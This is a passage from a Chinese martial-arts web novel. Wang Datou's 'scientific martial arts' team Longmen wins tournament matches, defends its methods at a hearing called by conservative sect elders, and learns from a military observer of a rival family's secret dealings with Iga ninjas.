就在他重心后移的瞬间,南宫明月剑势陡变,一剑扫向他下盘!
岳**大惊,急忙跃起闪避,但人在
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空中,无处借力!
“就是现在!”王大头道,“攻他膻中穴!”
南宫明月长剑如虹,直刺岳**胸口膻中穴!
这一剑,快如闪电!
岳**人在空中,根本无法闪避!
眼看就要被刺中,岳松涛急吼:“弃剑!用‘嵩山掌’!”
岳**下意识弃剑,双掌齐出,硬接这一剑!
“砰!”
掌剑相交!
岳**借力向后翻腾,落地时踉跄几步,脸色苍白。
但南宫明月的剑,已经抵在他喉前三寸。
“第二局,龙门胜!”裁判宣布。
三局两胜,龙门已经赢得比赛!
全场死寂,然后爆发出震天的惊呼!
指导战,龙门又赢了!而且赢得如此轻松,仿佛岳**的所有招数都被预判了!
“科学分析……太可怕了!”
“这简直像是提前知道了答案!”
“嵩山派输得不冤啊……”
评委席上,陈老缓缓点头,对身边的**远道:“看到没?这就是科学武道的威力。不是招式多精妙,而是把对手研究透了。”
**远叹服:“确实厉害。王会长这种分析能力,如果用在部队训练和实战中……”
“会有大用。”陈老肯定道。
岳松涛脸色铁青,猛地站起,拂袖而去。
岳**捡起剑,深深看了南宫明月和王大头一眼,也黯然离场。
第三局混战,已经没有必要了。
龙门,三局两胜,晋级三十二强!
当裁判宣布最终结果时,龙门众人击掌庆祝。
但王大头却注意到,南宫明月收剑时,手腕微微颤抖了一下。
“怎么了?”他问。
“没什么。”南宫明月摇头,“岳**最后那一掌,力道很大。”
王大头检查她的手腕,发现已经红肿了。
“先回去敷药。”他沉声道。
虽然赢了,但赢得并不轻松。
岳**毕竟是化劲初期,最后一搏的威力不容小觑。
离开场地时,许多队伍看向龙门的眼神都变了。
从好奇,到惊讶,到敬佩,再到……忌惮。
科学武道,用这场胜利,证明了它的价值。
但王大头知道,这只是开始。
三十二强,强手更多,路更难走。
而且,他感觉到,暗中的敌人,不会就此罢休。
岳松涛离开时的眼神,他看得清楚——那是不甘,是怨恨,是绝不会善罢甘休的决绝。
回到小楼,白子羽已经在等他们。
“恭喜晋级。”
白子羽笑道,“不过,我有个不太好的消息。”
“请讲。”
“岳松涛离开后,直接去了雷家和沈家所在的楼栋。”
白子羽低声道,“他们在里面待了一个多小时。我的人听到,他们提到了‘联手’‘阻击’‘不惜代价’等词。”
王大头眼神一冷:“他们想在三十二强阻击我们?”
“很有可能。”
白子羽点头,“三十二强的抽签,虽然说是随机,但……操作空间总是有的。”
正说着,李雅的手机响了。
她接听后,脸色微变:“三十二强抽签结果出来了。我们对阵的是……‘天骄预备营一队’!”
天骄预备营一队,队长高战!
虽然高战在个人赛中被王大头击败,但那是单打独斗。团队赛,天骄预备营一队的实力,比三队强了不止一个档次!
而且,高战对王大头的怨恨,所有人都知道。
“果然。”
王大头平静道,“该来的总会来。”
“另外,”
李雅继续道,“其他几场对阵也很有意思:雷家一队对铁马帮(基本是保送),沈家一队对青城剑派,白家对少林俗家弟子会……强队都避开了,只有我们对上了天骄预备营一队。”
这抽签,要说没猫腻,谁也不信。
“兵来将挡。”
王大头看向众人,“既然他们不想让我们走远,那我们就走得更远给他们看。”
众人点头,眼中燃起斗志。
第129章:答卷风波
理论考核成绩公布后的那个下午,整个基地像炸开了锅。
王大头那份满是图表公式的答卷得了满分,这在历届新秀赛中从未有过。
更震撼的是,陈国华院士公开支持科学武道,还要成立国家级研究中心,聘请王大头做顾问。
这些消息如同连环**,炸得传统武道界人仰马翻。
龙门小楼一时间门庭若市。
年轻武者们带着好奇和兴奋涌来,想亲眼看看这个“科学武道”到底是怎么回事。
年长些的武者则在远处冷眼旁观,嘴里嘀咕着“离经叛道”“动摇根基”之类的话。
王大头来者不拒。
他在小楼前的空地上摆了几张桌子,现场解答疑问,还演示了几个简单的科学训练方法。
“大家看这个动作。”
他拿起一根训练用的木棍,“传统枪法讲究‘腰马合一’,但具体怎么‘合一’?我们可以用生物力学来分析。”
他摆出**姿势,周倩在一旁用便携式运动捕捉仪记录数据。全息投影上立刻显示出力量传导路径、关节角度、肌肉收缩程度等参数。
“看到了吗?真正高效的发力,是下肢力量通过核心肌群稳定传导,再通过肩、肘、腕关节的协调运动,最终传递到枪尖。”
王大头调整了几个细微的角度,“如果这里,手腕内旋多5度,力量损失会减少12%。”
围观的年轻武者们眼睛都亮了。
这种直观的、数据化的讲解,比师父们玄之又玄的“感悟”“意境”好懂多了。
“王会长,那内功呢?内功也能用科学解释吗?”一个看起来十**岁的少年举手问。
“当然可以。”
王大头点头,“所谓内功,本质是人体生物能的高级运用。我们可以把它分解为几个部分:呼吸控制、血液循环、神经调节、能量储存与释放……”
他讲得深入浅出,用简单的比喻和图表,把那些玄奥的内功术语翻译成科学语言。
很多人听得如痴如醉,仿佛打开了一扇新世界的大门。
但也有不和谐的声音。
“一派胡言!”
一个洪亮的声音打断了解说。
人群分开,几个穿着传统长袍的中年武者走了进来,为首的是个五十多岁、留着山羊胡的瘦高个,脸色阴沉。
“是崆峒派的刘长老。”
有人小声嘀咕。
刘长老走到桌前,指着全息投影上的数据,冷笑道:“武道是千年传承的智慧,岂是你们这些画几张图、写几个公式就能参透的?什么生物力学,什么运动科学,都是旁门左道!”
王大头平静地看着他:“刘长老认为,武道的精髓是什么?”
“是‘道’!”
刘长老昂首道,“是天地人三才合一,是阴阳五行相生相克,是玄之又玄的武道真意!你们用这些冰冷的数字来解释,是在亵渎武道!”
“那么请问,”
王大头反问,“‘道’是什么?‘真意’又是什么?如果连自己练的是什么都不知道,又如何精进?”
“你!”
刘长老气得胡子发抖,“强词夺理!武道修行,讲究的是心性、是感悟、是传承!不是你们这种急功近利的捷径!”
“科学不是捷径,而是更清晰的路。”
王大头认真道,“我们尊重传统,但不愿盲从。我们想知道,为什么这样练有效?怎样才能练得更好?这难道不是对武道真正的热爱和追求吗?”
这番话引起了在场许多年轻人的共鸣。
他们中很多人都有过类似的困惑——师父让这么练,但为什么这么练?有没有更好的方法?只是以前没人敢问。
刘长老脸色铁青,还想反驳,却被一个温和的声音打断了。
“刘长老,消消气。”
众人转头,只见**远教授走了过来。
他身后还跟着两个人,一个是赵刚教官,另一个是位穿着军装、肩章显示是大校军衔的中年军官。
“陈教授。”
刘长老勉强抱拳。
“王会长的理论,虽然与传统不同,但确有可取之处。”
**远微笑道,“武道要发展,就需要不同的声音,不同的思路。刘长老,咱们这些老家伙,也要有包容的胸襟啊。”
刘长老哼了一声,没再说话,但眼神中的敌意丝毫未减。
**远转向王大头:“王会长,给你介绍一下。这位是军方‘潜龙’特种部队的指挥官,秦风大校。他对你的科学武道理论很感兴趣。”
秦风大校约莫四十出头,身材挺拔,面容刚毅,眼神锐利如鹰。他打量了王大头几眼,开口道:“王会长,你的答卷我看过了。很精彩。”
“秦大校过奖。”
王大头不卑不亢。
“不是过奖,是实话。”
秦风认真道,“我们部队这些年也在探索科学训练方法,但进展缓慢。你的理论,给我们提供了新的思路。”
他顿了顿:“陈老应该跟你提过‘科学武道计划’吧?我想邀请你,等新秀赛结束后,到我们部队做一次交流。当然,如果你愿意,也可以考虑长期合作。”
周围响起一片倒吸冷气的声音。
军方邀请!这可是天大的认可!
刘长老等人的脸色更加难看。
王大头沉吟片刻:“感谢秦大校的邀请。不过眼下,我还要专心准备团队赛。等比赛结束后,我们再详谈,可以吗?”
“当然。”
秦风点头,“那我就不打扰了。期待你的表现。”
他留下一张名片,转身离开。
**远和赵刚也跟王大头简单聊了几句,便告辞了。
他们走后,围观的人群渐渐散去。
但议论声更大了。
“军方都认可了!”
“看来科学武道真的要崛起了……”
“哼,能不能过三十二强还两说呢!”
龙门众人回到小楼,关上门,才长舒一口气。
“刚才真是……”
周倩心有余悸,“那个刘长老,眼神像要**。”
“保守派的反弹,在意料之中。”
王大头平静道,“但军方的支持,是个好消息。这说明,我们的方向是对的。”
李雅却有些担忧:“大头,你注意到没有?刘长老离开时,和岳松涛会合了。我怀疑,他们可能会联合起来,在后面的比赛中针对我们。”
“很有可能。”
吴刚翻开小本子,“根据统计,这次参赛的传统门派有十七个,其中保守派占十一个。如果他们真的联合,我们的处境会很危险。”
张猛一拍桌子:“怕什么!兵来将挡!他们敢玩阴的,老子就敢玩更狠的!”
“猛哥说得对。”
孙浩难得附和,“咱们有科学,有数据,怕他们什么传统?”
王大头却摇头:“不能轻敌。传统武道能传承千年,自有其过人之处。我们要做的,不是否定他们,而是超越他们。”
他看向众人:“接下来的比赛,每一场都是硬仗。我们要用实力证明,科学武道不仅理论先进,实战同样强大。”
正说着,敲门声响起。
开门,是白子羽。
他脸色有些凝重。
“王会长,出事了。”
白子羽低声道。
“怎么了?”
“你的答卷,在武道协会内部引发了激烈争论。”
白子羽快速道,“以岳松涛、刘长老为首的保守派,**,要求撤销你的满分成绩,取消龙门后续参赛资格。理由是‘理论严重偏离武道正统,误导年轻一代’。”
“陈老呢?”王大头问。
“陈老正在力排众议。”
白子羽道,“但保守派人数众多,势力盘根错节。陈老虽然地位高,但也不能一手遮天。现在双方僵持不下,可能要召开特别听证会。”
听证会?王大头眉头微皱。
“什么时候?”
“就在今晚八点,协会总部会议室。”
白子羽道,“所有参赛队伍的领队都要参加,公开辩论。”
李雅脸色一白:“这是要公开审判我们吗?”
“差不多。”
白子羽苦笑,“王会长,你要做好心理准备。保守派准备了很久,可能会用各种手段攻击你。”
王大头沉默片刻,忽然笑了。
“也好。该来的总会来。”
他站起身,“那就让他们看看,科学武道,到底有没有资格站在这个舞台上。”
晚上七点五十,协会总部大会议室。
能容纳三百人的会议室座无虚席。
前方是主台,坐着陈老、武道协会会长、几位副会长和资深顾问。下方是参赛队伍的领队们,黑压压一
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片。
龙门这边,王大头独自坐在前排。李雅、张猛等人在观众席,紧张地看着。
八点整,会议开始。
协会会长,一位七十多岁、须发皆白的老者,首先发言:“诸位,今天召开这个特别听证会,是为了讨论龙门武道研究会王会长答卷的争议。有人认为这份答卷离经叛道,有人则认为这是创新突破。现在,请双方陈述观点。”
保守派那边,岳松涛第一个站起来。
“陈会长,各位同仁。”
岳松涛声音洪亮,“武道传承数千年,是我们民族的瑰宝。历代先辈呕心沥血,才铸就了今天的武道体系。可如今,却有人要用什么‘科学’来解析武道,用几张图表、几个公式,就想否定千年的智慧!这是对武道根基的动摇,是对传承的亵渎!”
他越说越激动:“更可怕的是,这种歪理邪说,居然还得了满分!还得到了某些人的公开支持!这是在误导年轻一代,是在把武道引向歧途!我强烈要求,撤销这份答卷的成绩,并取消龙门后续参赛资格!”
他的话引起了保守派一片附和。
“岳长老说得对!”
“武道不是算术题!”
“不能开这个先例!”
陈老脸色平静,等议论声稍停,才缓缓开口:“岳长老,我问你一个问题。千年前的武道先辈,他们练武的时候,可知道什么是肌肉纤维?什么是神经反射?什么是能量代谢?”
岳松涛一愣:“这……那时科学不发达……”
“对,科学不发达。”
陈老点头,“所以先辈们只能用他们能理解的语言,来描述他们的发现和感悟。‘气’‘意’‘神’‘虚’,这些词,是那个时代的科学语言。”
他顿了顿:“今天,科学发达了。我们有了更精确的语言,来描述同样的现象。为什么不能用?难道武道就应该永远停留在千年前的语言体系里,不能进步吗?”
“这不一样!”
刘长老站起来反驳,“武道不只是身体训练,更是心性修养,是精神升华!科学能解释肌肉怎么动,能解释‘剑意’是什么吗?能解释‘人剑合一’的境界吗?”
“现在不能完全解释,不代表以后不能。”
陈老平静道,“科学就是在不断探索未知。如果我们因为现在解释不了,就拒绝探索,那武道才是真的停滞不前。”
双方唇枪舌剑,争论越来越激烈。
保守派指责科学武道急功近利,缺乏武道精神;开明派则认为传统需要发展,不能固步自封。
争论了一个多小时,谁也说服不了谁。
最后,协会会长看向王大头:“王会长,你是当事人,你有什么要说的?”
全场目光聚焦。
王大头缓缓站起身,走到主台前。
他没有立刻说话,而是从怀里取出一个小装置,放在桌上。装置启动,投射出一段全息影像。
影像中,是两个人在对练。
一个是传统武者,招式精妙但略显僵化;另一个是龙门弟子,动作简洁但效率极高。
“这是龙门平时的训练录像。”
王大头开口,“左边这位,练的是传统‘伏虎拳’,练了八年。右边这位,练的是龙门基础拳法,只练了半年。”
他调整播放速度,用慢动作展示:“大家看,传统伏虎拳这一式‘虎扑’,需要七个动作衔接,耗时1.2秒,力量传导效率68%。而龙门基础拳法的直拳,只有一个动作,耗时0.4秒,力量传导效率92%。”
数据直观,对比鲜明。
“我不是说传统拳法不好。”
王大头继续道,“伏虎拳有很多精妙之处,值得学习。但我们需要思考:为什么同样的发力目的,传统拳法要绕这么多弯?这些‘弯’里,哪些是必要的精髓,哪些是历史遗留的冗余?”
他切换影像,展示龙门的研究过程:测量肌肉电信号,分析关节角度,计算力量传导路径,优化呼吸节奏……
“科学武道,不是要抛弃传统,而是要理解传统、优化传统。”
王大头声音坚定,“我们要知道,我们练的每一个动作,为什么有效?怎样才能更有效?这难道不是对武道真正的尊重吗?”
会场里一片安静。
许多年轻领队眼中闪烁着思考的光芒。
第130章:再战告捷
“至于‘剑意’‘人剑合一’这些境界,”
王大头顿了顿,“我现在确实无法完全用科学解释。但我相信,那不是什么玄妙的东西,而是人体潜能开发到极致的表现。科学现在解释不了,我们就继续研究,直到有一天能解释为止。这,才是真正的武道精神——永不停止探索,永不满足现状。”
他讲完,会场久久无声。
陈老第一个鼓起掌来。接着,越来越多的人鼓掌,尤其是年轻一代。
保守派们脸色铁青,但说不出反驳的话。
协会会长沉吟良久,最终宣布:“王会长的答卷,维持满分。龙门参赛资格,不变。但协会会成立专门委员会,进一步研究科学武道与传统武道的融合问题。散会!”
这场风波,暂时告一段落。
但王大头知道,真正的挑战,才刚刚开始。
走出会议室时,岳松涛从他身边经过,低声说了一句:
“赛场上见。”
声音很轻,但充满了冰冷的杀意。
王大头平静回应:
“随时恭候。”
理论考核风波后的第二天,团队赛三十二强战正式打响。
龙门对阵天骄预备营一队。
这场比赛的热度,达到了开赛以来的顶峰。
不仅因为两队都有话题性——龙门是科学武道代表,天骄预备营是实战派精英;更因为两队在个人赛的恩怨:王大头击败高战,导致高战重伤休养。
现在,轮到团队赛了。
比赛场地在基地最大的“综合战术训练场”。
这是一个模拟城镇环境,有街道、房屋、甚至还有废弃车辆和障碍物,面积足有五个足球场大。
“这个场地对团队配合要求极高。”
赛前战术会上,王大头指着全息地图分析,“天骄预备营擅长城市战,这是他们的主场优势。但我们也有优势——科学分析和战术执行力。”
他在地图上标注了几个点:“根据数据分析,高战最可能选择的战术是‘中心突破’——集中力量快速突入中间区域,建立据点,然后分兵控制周边。”
“那我们怎么应对?”张猛问。
他的伤势基本痊愈,可以上场了。
“反其道而行。”
王大头在中间区域画了个圈,“我们不守中间,让他们占。然后,用‘游击消耗’战术。”
他看向众人:“猛哥,你带小吴,在东南方向建立防御点,吸引火力。小倩和小孙,你们在西北方向游击骚扰,打乱他们的节奏。明月……”
他看向南宫明月:“你自由行动,寻找机会,斩首高战。”
“明白。”
南宫明月点头。
“我呢?”
王大头笑了笑,“我负责指挥和策应。记住,我们的目标是赢,不是硬拼。消耗他们的体力,打乱他们的配合,然后一击致命。”
上午十点,比赛开始。
双方队员从场地两端进入。
龙门这边五人:王大头、张猛、吴刚、周倩、孙浩。南宫明月作为自由人,可以随时上场替换。
天骄预备营那边,高战果然上场了。
他虽然个人赛受伤,但经过几天休养,已经恢复了七成战力。
他身后跟着四名队员,个个气息精悍,眼神锐利。
“比赛开始!”
裁判一声令下。
高战立刻做出战术手势,五人以战斗队形快速向中间区域推进。
动作干脆利落,配合默契,确实是精锐之师。
龙门这边却不急。
张猛和吴刚在东南方向一栋三层建筑内布防,周倩和孙浩在西北方向街巷间游走,王大头则在一处制高点观察全局。
“他们到中间广场了。”
王大头通过耳机指挥,“小倩,在B3路口制造动静,吸引注意。小孙,绕到他们后方,准备骚扰。”
“收到!”
周倩和孙浩立刻行动。
周倩在路口故意弄出声响,吸引天骄预备营的注意。孙浩则如灵猫般绕到后方,准备偷袭。
高战果然中计。
他分出一人前去查看,结果被孙浩突然袭击,虽未受伤,但打乱了阵型。
“别分散!”
高战喝道,“保持队形,继续推进!”
但龙门根本不给他重整的机会。
张猛在建筑内开火(训练用彩弹),虽然不是**实弹,但精准的射击依然压制了天骄预备营的推进速度。
“东南方向有狙击手!”天骄预备营的队员喊道。
高战脸色阴沉:“钱豹,带两个人去解决他!其他人,跟我继续前进!”
分兵了!
这正是王大头想要的效果。
“猛哥,小吴,准备接敌。小倩,小孙,你们从侧翼支援。”
王大头快速下令,“明月,可以上场了。目标,高战。”
南宫明月从预备区进入场地,如幽灵般消失在街巷中。
东南方向建筑内,张猛和吴刚严阵以待。
钱豹带着两人冲进建筑,迎接他们的是张猛的铁拳和吴刚的铜墙铁壁。
“砰!砰!砰!”
拳脚相交,金铁交鸣。
张猛虽然伤势初愈,但悍勇不减,硬功催动,与钱豹打得难分难解。
吴刚则一人挡住另外两人,稳如磐石。
这时,周倩和孙浩从侧翼杀到。
周倩的巧劲和孙浩的速度,让天骄预备营的队员疲于应付。
“队长!我们被拖住了!”钱豹急呼。
高战脸色一变,意识到中计了。他想回援,但已经晚了。
一道剑光,如惊鸿乍现!
南宫明月到了!
她不知何时已经潜到高战附近,此刻突然出手,剑光直取高战后心!
高战毕竟是高手,危急时刻猛地前扑,险险避开这一剑。
但肩头还是被划开一道口子,鲜血直流。
“是你!”高战咬牙。
南宫明月不答,长剑如瀑,攻势如潮。
她的剑法本就高超,加上王大头的科学分析,每一剑都精准地攻向高战的弱点。
高战越打越心惊。
他感觉自己的每一个动作都被预判,每一次发力都**扰。就像陷入了一张无形的大网,越挣扎缠得越紧。
“这不可能!”
他怒吼,“你怎么知道我要……”
“你的右肩有旧伤,发力时会有0.1秒的延迟。”
南宫明月平静道,“你每次向左移动,重心会多偏移2厘米。你深呼吸后,接下来的三招会格外凌厉,但之后会有0.5秒的换气空当。”
高战瞳孔收缩。
这些细节,连他自己都没注意到!
“科学分析。”
南宫明月长剑一抖,“现在,认输吧。”
“休想!”
高战狂吼,强行催动内力,拳势暴涨,试图以力破巧。
但南宫明月根本不给他机会。
她脚踏玄妙步法,剑光如游龙,始终保持在最合适的距离和角度,让高战的蛮力无处施展。
三十招后,高战气喘吁吁,肩头伤口血流不止。
五十招时,他终于露出破绽。
南宫明月抓住机会,一剑刺出!
这一剑,快如闪电,准如机械,直取高战胸口膻中穴!
高战想挡,但慢了半拍!
“噗!”
剑尖刺入胸口一寸,虽不致命,但内力透入,瞬间封住了高战几处大穴。
高战僵在原地,动弹不得。
“队长!”
其他队员惊呼,想回援,但被张猛等人死死拖住。
南宫明月收剑,淡淡道:“你输了。”
高战脸色惨白,嘴唇哆嗦,却说不
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出话。
“第一局,龙门胜!”裁判的声音响起。
按照规则,团队赛五局三胜。
第一局是“据点争夺”,龙门成功守住据点并“击杀”对方队长,获胜。
高战被队友扶下场,眼神怨毒地盯着王大头。
“还没结束。”他咬牙道。
确实没结束。接下来还有四局比赛。
但龙门已经占据了心理优势。
第二局,“人质解救”。龙门再次用科学分析和默契配合,以微小优势获胜。
第三局,“物资抢夺”。天骄预备营扳回一局,高战带伤上场,拼死一战,展现了惊人的意志力。
第四局,“阵地攻防”。龙门再次获胜,张猛一夫当关,硬生生守住了关键阵地。
四局结束,龙门三比一领先,已经赢得比赛。
但按照规则,第五局还要进行。
第五局是“自由混战”,双方全员上场,直到一方全部“阵亡”。
这局已经无关胜负,但关乎尊严。
天骄预备营拼死一战,龙门也全力以赴。
最终,经过二十分钟激战,天骄预备营全员“阵亡”,龙门这边张猛和孙浩也“阵亡”了。
但结果已定。
“本场比赛,龙门四比一获胜!晋级十六强!”裁判宣布。
全场掌声雷动。
龙门,这支半年前还不存在的队伍,这支自称科学武道的队伍,一路过关斩将,杀入了全国十六强!
更关键的是,他们击败了以实战著称的天骄预备营一队,用事实证明,科学武道不仅理论先进,实战同样强大。
赛后,许多媒体围住了龙门。
“王会长,请问科学武道的核心理念是什么?”
“张猛选手,你的硬功是如何用科学方法训练的?”
“南宫明月选手,你的剑法是否也融入了科学分析?”
众人一一作答,不卑不亢。
远处,高战被队友搀扶着,看着被簇拥的龙门,眼中充满了不甘和怨恨。
“队长,我们……”钱豹低声道。
“闭嘴。”
高战咬牙,“这事没完。十六强赛,我们还会再见的。”
另一边,岳松涛、刘长老等保守派,脸色一个比一个难看。
他们原本指望天骄预备营能阻击龙门,没想到反而成就了龙门。
“废物!”
岳松涛低声骂道。
“岳长老,现在怎么办?”刘长老问。
“十六强抽签,我们要做点手脚。”
岳松涛眼神阴冷,“让龙门对上最强的对手。我就不信,他们能一直赢下去!”
他们不知道,观众席角落里,陈老和**远也在观看比赛。
“怎么样?”陈老微笑。
“厉害。”
**远叹服,“不仅仅是实力,更是战术和执行力的胜利。王会长这个人,真是个天才。”
“不止是天才。”
陈老看着远处的王大头,“他是个开创者。科学武道这条路,需要他这样的人去走。”
他顿了顿:“通知委员会,加快研究中心成立进度。我要在新秀赛结束前,看到成果。”
“是。”
龙门小楼里,众人正在庆祝。
“十六强了!”
张猛兴奋地挥舞拳头,“再赢三场,就是冠军!”
“别高兴太早。”
周倩提醒,“十六强都是强队,后面的比赛会更难。”
“小倩说得对。”
王大头道,“不过今天这一战,我们打出了气势,打出了信心。接下来,只要保持状态,一切都有可能。”
他看向众人:“但大家要记住,我们不是为了冠军而战,是为了证明科学武道的价值。无论最后取得什么成绩,只要我们展现了科学武道的潜力,就是胜利。”
众人点头。
第131章:深夜密谈
龙门晋级十六强的当晚,基地里并不平静。
各大论坛和武道网站,龙门击败天骄预备营的新闻已经刷屏。
“科学武道击败精英实战派”“数据化战术显神威”“王大头团队指挥艺术”……各种标题看得人眼花缭乱。
小楼客厅里,众人正围坐在一起吃晚饭。饭菜是李雅从基地食堂打回来的,简单但丰盛,算是庆祝胜利。
“刚才我去打饭,好多人看咱们的眼神都不一样了。”孙浩扒拉着米饭,脸上带着兴奋,“以前是好奇,现在是……崇拜!”
张猛啃着鸡腿,含糊道:“那是!咱们连天骄预备营都干趴下了,谁还敢小瞧?”
周倩轻声道:“不过压力也更大了。十六强里都是顶尖队伍,下一场不管对上谁,都不好打。”
吴刚翻着小本子:“根据现有数据,十六强队伍平均实力在暗劲后期到化劲初期之间。最强的几支:青城剑派、少林俗家弟子会、雷家一队、还有……龙组。”
“龙组?”王大头抬头,“之前没听说过这支队伍。”
“是特别邀请队,资料很少。”
李雅调出信息,“只知道是军方背景,队员都是代号,队长叫‘苍龙’。小组赛他们三战全胜,而且每场都是碾压式胜利,对手连十分都撑不到。”
南宫明月忽然开口:“龙组的人,我见过一个。”
众人都看向她。
“昨天在训练场,有个穿黑色运动服的人在观察我们训练。”
南宫明月回忆道,“大约三十岁,身高一米八左右,寸头,左眼下方有道浅疤。气息……很强,至少化劲中期。”
化劲中期?在年轻一代中,这几乎是天花板级别的实力了。
“他看了多久?”王大头问。
“二十分钟左右。”
南宫明月道,“主要在看你的指挥和我们的配合。走的时候,他朝我这边看了一眼,眼神很锐利,像鹰。”
众人心中都升起一股压力。被这样的强队盯上,绝不是好事。
正说着,敲门声响起。
很轻,但很有节奏,不疾不徐。
李雅去开门,门外站着一个中年男人。
约莫四十出头,穿着普通的灰色夹克和休闲裤,身材中等,长相平凡,属于扔进人堆里就找不着的那种。
但他那双眼睛,却锐利得惊人,仿佛能看透人心。
“请问,王大头王会长在吗?”
中年男人声音平和。
“您是……”
“我姓陈,陈卫国。”
男人微笑道,“可以叫我老陈。有点事,想和王会长单独谈谈。”
王大头站起身,打量了老陈几眼,点头道:“陈先生请进。其他人,先回房休息吧。”
众人虽然好奇,但还是听话地各自回房。
只有南宫明月多看了老陈一眼,才转身离开。
客厅里只剩两人。
老陈在沙发上坐下,从怀里掏出一个小仪器,按下开关。
仪器发出轻微的“嗡”声,指示灯亮起绿色。
“信号***。”
老陈解释,“接下来我们的谈话,不会被任何设备监听。”
王大头心中一凛,表面却不动声色:“陈先生是?”
“国家特殊能力部队,‘龙组’的观察员。”
老陈开门见山,“王会长别紧张,我们不是敌人。”
龙组!果然是军方的人!
“陈先生找我,有什么事?”王大头平静道。
“三件事。”
老陈伸出三根手指,“第一,代表国家,对龙门在科学武道方面的探索表示支持和肯定。第二,传达一个合作意向。第三,提供一份情报。”
王大头没有说话,等待下文。
“先说支持。”
老陈从公文包里取出一份文件,“陈国华院士已经向高层汇报了你们的情况。经过研究,国家决定将‘科学武道计划’正式立项,龙门武道研究会将作为重点合作单位。相应的科研资源、政策支持、合法身份保护,都会陆续到位。”
他把文件推过来:“这是初步的合作意向书,你可以看看。”
王大头翻开文件,快速浏览。内容很详实,包括实验室共建、数据共享、人才培养等多个方面。条件也很优厚,国家出钱出资源,龙门出技术出人才,成果共享。
“条件很好。”
王大头合上文件,“但我想知道,我们需要付出什么?”
“聪明。”
老陈笑了,“确实有条件。龙门要成为国家的‘民间合作单位’,在某些特定情况下,配合国家行动。”
“特定情况?”王大头皱眉。
“比如,协助调查某些涉及武道的案件,提供专业咨询,或者在必要时,协助处理一些……特殊威胁。”
老陈顿了顿,“放心,不会让你们参与**斗争,也不会强迫你们做违背原则的事。更多是技术和情报层面的合作。”
王大头沉思片刻:“我需要考虑。”
“可以理解。”
老陈点头,“现在说第三件事,情报。”
他身体微微前倾,压低声音:“根据我们掌握的信息,雷家与日本‘伊贺流’忍者组织有秘密往来。”
王大头瞳孔一缩。
伊贺流,日本最著名的忍者流派之一,传承数百年,擅长潜行、暗杀、情报收集。
在武道界,伊贺流的名声并不好,被视为阴暗面的代表。
“雷家是传承三百余年的武道世家,怎么会和伊贺流勾结?”王大头沉声问。
“利益。”
老陈冷笑,“雷家这些年表面风光,实则内里空虚。产业经营不善,年轻一代青黄不接,全靠祖上余荫撑着。伊贺流看中了雷家在北方武道界的影响力,想通过雷家渗透进来;雷家则看中了伊贺流的资金和技术,想借力重振家族。”
他从公文包里取出几张照片,放在桌上。
照片有些模糊,但能辨认出是**山和一个穿着黑色和服的老者在一家茶楼会面。
还有几张是转账记录,数额巨大,汇款方是日本某株式会社。
“这是三个月前的会面。”
老陈指着照片,“之后,雷家从日本进口了一批‘特殊训练器材’,实际上里面夹带了伊贺流的忍术秘本和一些违禁药物。”
“国家既然知道,为什么不阻止?”王大头问。
“证据不足。”
老陈摇头,“雷家做事很小心,所有往来都通过多层中转,很难抓到确凿证据。而且,雷家在武道界和政界都有不少人脉,贸然动手容易打草惊蛇。”
他看向王大头:“所以,我们需要民间力量的协助。龙门现在和雷家是公开的敌对关系,你们调查雷家,不会引起太多怀疑。”
“你想让我们当诱饵?”王大头眼神一冷。
“不,是合作。”
老陈认真道,“我们会提供情报支持,保护你们的安全。你们只需要在正常的比赛和交往中,留意雷家的动向,收集信息。如果发现确凿证据,我们会立即行动。”
王大头沉默良久。
老陈也不催促,静静等待。
“情报里说,雷家进口了违禁药物。”
王大头忽然问,“是什么药?”
“一
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种新型**,代号‘鬼血’。”
老陈脸色凝重,“能短时间内大幅提升武者实力,但副作用极大,轻则武功尽废,重则爆体而亡。更重要的是,这种药有很强的成瘾性,一旦使用,就很难摆脱。”
他顿了顿:“我们怀疑,雷昊在个人赛中使用的‘暴血丹’,可能就是‘鬼血’的稀释版或仿制品。”
王大头想起雷昊服药后那疯狂的状态,确实不像正常激发潜力的药物。
“雷家让自家天才用这种药?”他皱眉。
“可能雷昊自己都不知道。”
老陈摇头,“**山那个人,为了家族利益,什么都做得出来。雷昊虽然是天才,但在家族利益面前,也不过是棋子。”
客厅里陷入沉默。
窗外的夜色深沉如墨。
良久,王大头才开口:“合作的事,我需要和龙门其他人商量。但调查雷家,我们本来就在做。如果发现什么,可以共享信息。”
“这就够了。”
老陈起身,收起***,“意向书你留着,考虑好了联系我。这是我的联系方式,24小时开机。”
他留下一张只有号码的名片,转身走向门口。
走到门口时,他忽然停下,回头道:“对了,提醒一句。下一场十六强赛,你们可能会对上雷家一队。**山为了确保雷家晋级,可能会用非常手段。小心。”
说完,拉开门,消失在夜色中。
王大头独自坐在客厅里,看着桌上的文件和照片,久久不语。
龙组的出现,雷家与伊贺流的勾结,违禁药物“鬼血”……这些信息如同拼图碎片,逐渐拼凑出一幅惊人的画面。
武道界看似平静的表面下,暗流汹涌。
而龙门,已经被卷入其中。
不知过了多久,南宫明月从房间里走出来,无声地坐到对面。
“那个人,很强。”
她轻声道。
“嗯。”
“他的话,能信几分?”
王大头拿起那张名片,在手中翻转:“七分。龙组确实存在,雷家也确实可疑。但合作……需要慎重。”
“雷家与伊贺流勾结,如果属实,就是武道界的耻辱。”南宫明月眼神冰冷,“我师父生前最恨这种人。”
王大头看向她:“你师父和伊贺流过节?”
“二十年前,伊贺流曾想招揽师父,被拒绝后派人暗杀。”
南宫明月淡淡道,“师父一人一剑,连斩七名上忍。从那以后,伊贺流再不敢踏入中原。”
一人斩七名上忍!这是何等实力!
王大头对南宫明月那位神秘的师父,更加好奇了。
“明天的抽签,如果真对上雷家一队……”
南宫明月顿了顿,“我会全力以赴。”
“我们都会。”
王大头眼神坚定,“不管雷家背后是谁,只要敢用下三滥的手段,就要付出代价。”
夜更深了。
小楼里的灯光,久久未熄。
而远在基地另一端的雷家住所,也亮着灯。
**山站在窗前,手中握着一部卫星电话。
“伊贺先生,计划进展顺利。”
他用日语低声道,“下一场,我们会确保龙门出局。到时候,您要的东西,自然奉上。”
电话那头传来沙哑的笑声:“雷桑,合作愉快。记住,我们要的不仅是龙门的技术,还有那个王大头本人。他可是难得的……实验素材。”
“明白。”
挂断电话,**山脸上露出一丝狞笑。
王大头,科学武道?
在绝对的实力和阴谋面前,不过是个笑话。
第132章:龙组初现
第二天上午,十六强抽签仪式在基地会议中心举行。
与之前不同,这次抽签格外隆重。
评委席上除了常规评委,还多了几位穿着军装的人——龙组的代表也来了。
王大头一眼就看到了昨晚的老陈。
